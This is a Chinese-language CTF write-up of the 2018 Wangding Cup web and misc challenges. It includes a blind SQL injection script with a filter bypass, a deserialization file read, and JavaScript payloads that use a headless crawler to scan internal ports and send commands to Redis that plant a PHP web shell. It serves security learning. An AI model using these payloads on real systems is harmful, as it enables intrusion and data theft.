V0W's Blog

网鼎杯2018第一场WEB&Misc WP

字数统计: 1,930阅读时长: 10 min
2018/08/20 Share

网鼎杯2018第一场WEB&Misc WP

深感CTF对WEB的恶意,WEB狗没有出路啊!!!一开始0 WEB 7 PWN,两个WEB最后才放出来,MISC的题目,脑洞又有点大,Crypto感觉无解,总之被锤爆==、

WEB

facebook

解题思路

注册登陆用户

发现可以点击,跳转到
http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php?no=1

简单判断是注入点
之后检测过滤select,可以用/*!select*/绕过。

判断列数时,发现
http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php ?no=0 union/*!select*/ 1,2,3,4 #

Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31

相当于有提示:反序列化

于是可以sql注入(布尔盲注)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
import requests
url='http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php?no='

def check(payload):
data=url+payload
r=requests.get(data).content
#print r
return "www.baidu.com" in r

flag=''
s=r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_:{}";\',\.'
for i in range(1,99):
for c in s:
# payload="if((substr((select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),%d,1)='%s'),1,0)"%(i,c)
## no,username,passwd,data
payload="if((substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1)='%s'),1,0)"%(i,c)
## nousernamepasswd
# payload="if((substr((select data from users),%d,1)='%s'),1,0)"%(i,c)
#print payload
if check(payload):
#print c
flag+=c
break
print flag
## O:8:"userinfo":3:{s:4:"name";s:3:"v0w";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

读出data是反序列化后的数据O:8:"userinfo":3:{s:4:"name";s:3:"v0w";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

view.php会显示the contents of his/her blog

构造

1
2
http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php
?no=0 union /*!select*/ 1,2,3,'O:8:"userinfo":3:{s:4:"name";s:3:"v0w";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #

查看页面源代码

1
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s2MDA3NGYyNS00NTJkLTRlMTctYTE3NC05Zjc4NzFiMGY2ZGF9IjsNCmV4aXQoMCk7DQo='>

解码得到flag:

1
2
3
<?php
$flag = "flag{60074f25-452d-4e17-a174-9f7871b0f6da}";
exit(0);

flag

flag{60074f25-452d-4e17-a174-9f7871b0f6da}

知识点

SQL盲注,反序列化

Misc

clip

Winhex打开,搜索idat

发现有PNG
mark

继续查找发现还有一张,但是缺少文件头
mark

补充文件头,提取两张png文件,
mark

mark

然后发现图片内容有点错位,剪切开来
mark

mark

mark

mark

PS修复,修复完这样的 F**K
mark


以下为补充的正确的做法:
mark

噪声套路是每隔多少字节会加一个XX XX XX XX 78 01 01 00 04 FF FB(这里纠正一下原文的代码)

所以只要将这些字节(11B)删除即可。
mark

结果:
mark
非常nice

minified

解压出来是一张图片,像马赛克一样
mark

让我想到了TJCTF的一道隐写题:
原题链接
解题思路

那个题是两张图片,做一些运算IMG1 ^ SUB(IMG1,IMG2),得到flag的图片

但是这个只有一张图片,
又看到位深32,想到了可能和透明度,alpha通道有关,于是StegoSlove 提取了alpha0-7通道,然后又提取了blue0-7通道图像,green0-7通道图像,发现red0是没有图像的,怀疑red不是,暂时舍弃。

将得到的图像与alpha通道图像之间比较,异或,发现green0^alpha0得到flag
green0
mark
alpha0
mark
alpha0^green0=flag
mark


以下是官方WP发出后,补充学习的

WEB

Spider

hint:动态爬虫,Redis Getshell。8000端口存在apache2

这么多hint,都没做出来 emmmm 太菜了==、

mark

搜集信息,看到爬虫,查看robots.txt
果然有东西

1
2
User-agent: *
Disallow: /get_sourcecode

但是不允许直接读:

1
NOT 127.0.0.1

想XFF,但是没用

这是回到index,发现还有个上传,难道还有上传漏洞
上传小马,无果,

去了解一下动态爬虫

简单来说就是模拟人对浏览器的动作,可以用代码打开你的浏览器然后像人一样操作实现浏览器的自动化(打开网页、输入文字、提交表单等),安装等详细介绍在官方文档中有介绍。
也就是说,会执行网页中嵌入的js代码。

有点像XSS,执行js代码,上传一个就XSS-js,发现弹窗了,nice,说明猜测正确。

接下来就是构造js代码,读取文件

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<a id='test' href=""></a>
<script src="http://127.0.0.1/vendor/jquery-1.11.1.min.js"></script>
<script type="text/javascript">
$.get("http://127.0.0.1/get_sourcecode",function(data){
document.getElementById("test").innerHTML=data;
});

</script>
</html>

得到源码
mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data

def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''

@app.errorhandler(404)
def page_not_found(error):
return '404'

@app.errorhandler(500)
def internal_server_error(error):
return '500'

@app.errorhandler(403)
def unauthorized(error):
return '403'

if __name__ == '__main__':
pass

但是我也没看出什么来。。。
比赛当时,我就做到这。接下来是表哥的操作了。。。


可以用同样的方法得到服务器端口,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8088];
for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}
</script>

mark

得到8000端口开放着,猜测是apache2等phpserver

构造一个Redis EXP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>

但是我没有获得flag,所以还需要研究。

参考链接

  1. 2018网鼎杯Web题解
  2. i春秋微信公众号-网鼎杯第一场spider题详细writeup
CATALOG
  1. 1. 网鼎杯2018第一场WEB&Misc WP
  2. 2. WEB
    1. 2.1. facebook
      1. 2.1.1. 解题思路
      2. 2.1.2. flag
      3. 2.1.3. 知识点
  3. 3. Misc
    1. 3.1. clip
    2. 3.2. minified
  4. 4. WEB
    1. 4.1. Spider
  5. 5. 参考链接